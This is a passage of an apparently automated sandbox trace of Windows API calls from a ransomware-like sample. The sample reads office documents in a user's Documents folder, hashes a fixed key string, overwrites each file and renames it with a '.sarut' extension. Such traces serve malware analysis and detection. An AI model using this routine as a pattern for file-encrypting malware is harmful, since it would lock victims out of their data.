lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.416] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.416] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x554, lpOverlapped=0x0) returned 1 [0268.416] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.416] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.416] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.416] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.416] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.417] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.417] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.417] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.417] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.417] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.417] GetLastError () returned 0x0 [0268.418] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.418] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x550) returned 0x30b3078 [0268.418] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.418] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x54f, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb24*=0x54f, lpOverlapped=0x0) returned 1 [0268.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.418] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.418] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.418] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.418] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.419] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.419] CloseHandle (hObject=0x5c4) returned 1 [0268.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.422] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.422] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.422] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Dlmumiy0mdd o.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dlmumiy0mdd o.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Dlmumiy0mdd o.xlsx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dlmumiy0mdd o.xlsx.sarut")) returned 1 [0268.423] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.423] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.424] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.424] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e67cf30, ftCreationTime.dwHighDateTime=0x1d4ae7f, ftLastAccessTime.dwLowDateTime=0x5548e290, ftLastAccessTime.dwHighDateTime=0x1d4c99f, ftLastWriteTime.dwLowDateTime=0x5548e290, ftLastWriteTime.dwHighDateTime=0x1d4c99f, nFileSizeHigh=0x0, nFileSizeLow=0x6fde, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E9c6yerqTjnAvgifiGH.pptx", cAlternateFileName="E9C6YE~1.PPT")) returned 1 [0268.424] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.424] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0268.424] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.424] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\E9c6yerqTjnAvgifiGH.pptx") returned=".pptx" [0268.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\E9c6yerqTjnAvgifiGH.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e9c6yerqtjnavgifigh.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.425] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=28638) returned 1 [0268.425] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.428] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6fb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.428] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.429] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.429] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.429] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.429] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x6fde, lpOverlapped=0x0) returned 1 [0268.430] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.430] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.430] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.431] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.432] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.432] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.432] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.432] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.432] GetLastError () returned 0x0 [0268.432] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.432] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6fe0) returned 0x311d708 [0268.432] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.432] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x6fd9, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x6fd9, lpOverlapped=0x0) returned 1 [0268.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.433] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6fde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.433] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.433] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.433] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.433] CloseHandle (hObject=0x5c4) returned 1 [0268.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0268.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.436] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0268.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\E9c6yerqTjnAvgifiGH.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e9c6yerqtjnavgifigh.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\E9c6yerqTjnAvgifiGH.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e9c6yerqtjnavgifigh.pptx.sarut")) returned 1 [0268.437] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.437] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.438] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebdb7190, ftCreationTime.dwHighDateTime=0x1d4c644, ftLastAccessTime.dwLowDateTime=0xc025850, ftLastAccessTime.dwHighDateTime=0x1d4870a, ftLastWriteTime.dwLowDateTime=0xc025850, ftLastWriteTime.dwHighDateTime=0x1d4870a, nFileSizeHigh=0x0, nFileSizeLow=0x8365, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e9_rdw 0S48c8wWGxtcZ.docx", cAlternateFileName="E9_RDW~1.DOC")) returned 1 [0268.438] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.438] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0268.438] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.438] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9_rdw 0S48c8wWGxtcZ.docx") returned=".docx" [0268.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9_rdw 0S48c8wWGxtcZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e9_rdw 0s48c8wwgxtcz.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.439] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=33637) returned 1 [0268.439] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.441] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x833f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.442] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.444] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.444] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8365, lpOverlapped=0x0) returned 1 [0268.445] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.445] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.445] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.445] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.446] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.446] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.446] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.447] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.447] GetLastError () returned 0x0 [0268.447] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.447] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8370) returned 0x311d708 [0268.447] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.447] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x8360, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x8360, lpOverlapped=0x0) returned 1 [0268.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.447] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8365, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.448] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.448] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.448] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.448] CloseHandle (hObject=0x5c4) returned 1 [0268.452] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0268.452] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0268.452] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0268.452] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9_rdw 0S48c8wWGxtcZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e9_rdw 0s48c8wwgxtcz.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e9_rdw 0S48c8wWGxtcZ.docx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e9_rdw 0s48c8wwgxtcz.docx.sarut")) returned 1 [0268.453] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.453] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.454] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd37d60, ftCreationTime.dwHighDateTime=0x1d4f99e, ftLastAccessTime.dwLowDateTime=0x31f7c600, ftLastAccessTime.dwHighDateTime=0x1d4901d, ftLastWriteTime.dwLowDateTime=0x31f7c600, ftLastWriteTime.dwHighDateTime=0x1d4901d, nFileSizeHigh=0x0, nFileSizeLow=0x13a19, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F66QZsvCIiq3.xlsx", cAlternateFileName="F66QZS~1.XLS")) returned 1 [0268.454] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.455] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.455] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F66QZsvCIiq3.xlsx") returned=".xlsx" [0268.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\F66QZsvCIiq3.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\f66qzsvciiq3.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.456] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=80409) returned 1 [0268.456] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.459] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x139f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.459] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.460] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.460] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x13a19, lpOverlapped=0x0) returned 1 [0268.461] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.461] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.461] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.462] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.462] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.463] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.463] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.463] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.463] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.463] GetLastError () returned 0x0 [0268.463] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.463] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.463] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.463] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x13a20) returned 0x311d708 [0268.463] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.464] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.464] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, 